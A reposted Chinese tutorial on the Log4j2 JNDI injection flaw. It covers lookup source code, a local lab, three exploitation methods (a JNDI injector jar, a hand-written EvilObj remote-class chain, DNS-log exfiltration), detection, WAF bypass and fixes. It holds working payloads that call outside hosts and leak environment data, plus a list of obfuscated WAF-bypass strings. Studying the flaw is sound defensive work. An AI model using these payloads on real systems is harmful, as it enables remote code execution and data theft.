编者注:讲解的非常全面,适合学习

转载自:https://mp.weixin.qq.com/s/HW2-VRg44ZEFcWxBmDk-CA

Log4j2

影响

影响范围:Apache Log4j 2.x<=2.14.1

目前为止已知如下组件存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare

漏洞原理

关于漏洞原理可以参考文章 《Log4j2 研究之lookup》,强烈推荐 idea,ctrl 直接点进去看源码,下面是触发漏洞的关键代码:

1、org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
this.textRenderer.render(workingBuilder, toAppendTo);
}
} else {
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
}
}

代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。在 ${ 中可以使用的关键词如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

来源:

https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a

2、org.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
char escape = this.getEscapeChar();
StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = this.getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while(true) {
label117:
while(pos < bufEnd) {
int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
++pos;
} else if (pos > offset && chars[pos - 1] == escape) {
buf.deleteCharAt(pos - 1);
chars = this.getChars(buf);
--lengthChange;
altered = true;
--bufEnd;
} else {
int startPos = pos;
pos += startMatchLen;
int endMatchLen = false;
int nestedVarCount = 0;
while(true) {
while(true) {
if (pos >= bufEnd) {
continue label117;
}
int endMatchLen;
if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
++nestedVarCount;
pos += endMatchLen;
} else {
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
++pos;
} else {
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
StringBuilder bufName = new StringBuilder(varNameExpr);
this.substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
String varName = varNameExpr;
String varDefaultValue = null;
int i;
int valueDelimiterMatchLen;
if (valueDelimiterMatcher != null) {
char[] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = false;
label100:
for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
if (this.valueEscapeDelimiterMatcher != null) {
int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
String varNamePrefix = varNameExpr.substring(0, i) + ':';
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
int j = i + matchLen;
while(true) {
if (j >= varNameExprChars.length) {
break label100;
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
break label100;
}
++j;
}
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
if (priorVariables == null) {
priorVariables = new ArrayList();
((List)priorVariables).add(new String(chars, offset, length + lengthChange));
}
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
valueDelimiterMatchLen = varValue.length();
buf.replace(startPos, pos, varValue);
altered = true;
i = this.substitute(event, buf, startPos, valueDelimiterMatchLen, (List)priorVariables);
i += valueDelimiterMatchLen - (pos - startPos);
pos += i;
bufEnd += i;
lengthChange += i;
chars = this.getChars(buf);
}
((List)priorVariables).remove(((List)priorVariables).size() - 1);
continue label117;
}
--nestedVarCount;
pos += endMatchLen;
}
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
}

日志在打印时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。

构造payload

log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,详细参考这里:

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

从网上大家的测试来看,主要使用 ldap 来构造 payload:

1
${jndi:ldap://xxx.xxx.xxx.xxx/exp}

最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令,整个利用流程如图:

图片

整个利用流程分两步:

第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。

第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。

靶场搭建

在进行漏洞测试之前,首先部署一个漏洞靶场供测试之用。

1、maven pom.xml: 导入 log4j-core 和 log4j-api 既可(2.14.1 及其以下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>

2、main 入口类

1
2
3
4
5
6
7
8
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/tsslma}");
}
}

多种方法漏洞利用

方法一:利用 JNDI 注入器

1、github 下载 jndi 注入器(下载 jar 包即可)

https://github.com/welk1n/JNDI-Injection-Exploit/releases

2、运行 jar 包,开启服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\WinSxS\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\calc.exe" -A "127.0.0.1"

参数说明

  • -c :远程 class 文件中要执行的命令。
  • -A :服务器地址,可以是 ip 或者域名

注意事项

  • 要确保 1099,1389,8180 端口可用,或下载源码在 run.ServerStart 类 26~28 行更改默认端口,再打包成 jar 包运行
  • 命令会作为参数传入 Runtime.getRuntime().exec(),所以需要确保命令传入 exec() 方法可执行。
  • bash 等可在 shell 直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

3、根据 cmd 日志拼接 log4j2 打印的日志

由控制台打印的日志可知,jdk1.8 ldap 协议的临时生成的类为 kk1i3g,log4j 日志打印

图片

1
${jndi:ldap://127.0.0.1:1389/kk1i3g}

4、运行 main 入口类,打印 log4j2 日志,弹出计算器

图片

方法二:根据 jndi 注入原理自己编写

1、在 java 下新建 exp 包

2、在 exp 下新建需要被注入的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package exp;
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
public class EvilObj {
public static void exec(String cmd) throws IOException {
String sb = "";
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
String lineStr;
while((lineStr = inBr.readLine()) != null){
sb += lineStr+"\n";
}
inBr.close();
inBr.close();
}
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
return null;
}
static {
try{
//需要执行的命令
exec("C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}
}

3、创建服务类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package exp;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
// String url = "http://110.40.250.105/jndiRemote/";
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("exp.EvilObj", "exp.EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}

加了两个文件的目录结构为:

图片

4、在编译好的 EvilObj 目录下 cmd,执行 python -m http.server 6666 打开 http 服务(在本地其实不打开也访问的到)

图片

5、log4j 的 main 方法打印

logger.error(“${jndi:rmi://localhost:1099/evil}”);

6、启动 Server,启动 log4j,弹出计算器

图片

方法三:利用 dnslog 检测并外带数据

1、访问 https://log.xn--9tr.com/,点击 Get SubDomain 获取域名(当然也可以选择其他平台,比如 dnslog、ceye 等):

图片

2、拼接日志(将域名加进日志里面)

1
2
3
4
5
6
7
8
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://08dc16c2.dns.1433.eu.org./exp}");
}
}

3、直接运行步骤 2 的类,浏览器点击 Refresh Record,在浏览器看到回显

图片

4、外带数据的 payload:

1
${jndi:ldap://${sys:java.version}.collaborator.com}

可以获取的数据如图:

图片

对于黑盒测试而言如何发现漏洞

大家都知道存在漏洞是因为在打日志的时候存在问题,所以对于黑盒测试而言,只要是能够被服务端获取且被记录的地方都是可以触发漏洞的,比如 header 中的 Cookie、User-agent 等,post 或者 get 的参数中,url 中等,这种只能盲打,根据返回结果来判断。

检测漏洞项目参考:

https://github.com/takito1812/log4j-detect/blob/main/log4j-detect.py

图片

主要在 header 和 参数中增加 payload 进行漏洞触发,可以结合 dnslog 平台实现自动化漏洞发现,攻击图如下:

图片

对于白盒来说如何发现存在漏洞的系统

白盒相对容易一些,毕竟代码在手,还有什么不知道的,只需要搜索 git 平台的代码,如果符合漏洞版本范围内的都是存在问题的,全部升级替换即可。

下面是火线安全统计的关于存在漏洞组件的库,可以进行搜索,网站:

https://log4j2.huoxian.cn/layout

图片

就是企业越大,系统越多,更新的过程越复杂,需要测试调试的时间越多,尽量避免因为修复漏洞而导致系统故障。

对于该漏洞的临时防护怎么做

如果企业已经部署了 WAF 等安全产品,在漏洞爆发之初就应该及时更新规则,临时处置,从而给后续的根治争取时间,从 payload 上看,有几个关键特征:${,jndi,ldap,rmi等,但是如果只是拦截 jndi 等字符串,很可能没有很好的效果,因为可以进行字符串拼接从而绕过检测,而如果拦截 ${,又可能造成正常功能无法使用,毕竟可能存在正常请求中包含这个关键词的情况。

所以在上临时规则时,要先灰度测试一段时间,才可以全量上规则,否则因为一时的防御,而导致新的问题。下面是一个关于 waf 绕过思路,也可以作为防御的参考:

1、jndi、ldap、rmi 绕过

  • 用 lowerCase upperCase 把关键词分割开
  • 如果使用了正则的话可以使用 upper 把 jndı 转成 jndi

案例:

图片

2、${ 关键词拦截(范围大且容易产生误报,且不能真正解决,漏洞的触发点是在打印日志的时候把可控内容携带进去了)

3、为了减少误报,waf 匹配规则参考:

${(${(.?:|.?:.?:-)(‘|”|)*( ?1)}*|[jndi:(ldap|rm)]('|"|)}*){9,10}

效果如图:图片

临时方案治标不治本,只能争取时间,从根源上测地消灭漏洞。

在野利用的案例

随着漏洞的公开,在野利用该漏洞获取权限并进行挖矿勒索的案例已然出现,比如奇安信检测到的情况,详情《警惕!Log4j2漏洞已被多个僵尸网络家族利用》,漏洞触发条件是在 url 中带入 payload:

图片

漏洞利用成功后会加入 SSH 公钥,这个特征还比较明显,容易拦截。比如绿盟科技检测到的情况,详情《Log4j2修补时间差!挖矿软件和僵尸网络乘虚而入》,payload 及利用如图:

图片

如何修复这个漏洞

漏洞出现之后,官方也一直在推出补丁,然而一直也存在补丁绕过的情况 ,打官方补丁当然是一个比较靠谱的方式,但是一开始并不能完美解决。

在进行漏洞利用时,针对高版本的 java jdk 是无法直接利用的,但是也不一定完全不可以,对于一些企业,定期更新 java 的可能影响比较小,所以 java 版本更新也是一种缓解的方式。

其他层面的修复:

1、采用 rasp 对lookup的调用进行阻断

2、限制不必要的业务访问外网

3、设置 JVM 启动参数 - Dlog4j2.formatMsgNoLookups=true

4、WAF 添加漏洞攻击代码临时拦截规则创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true”

拓展绕过waf payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk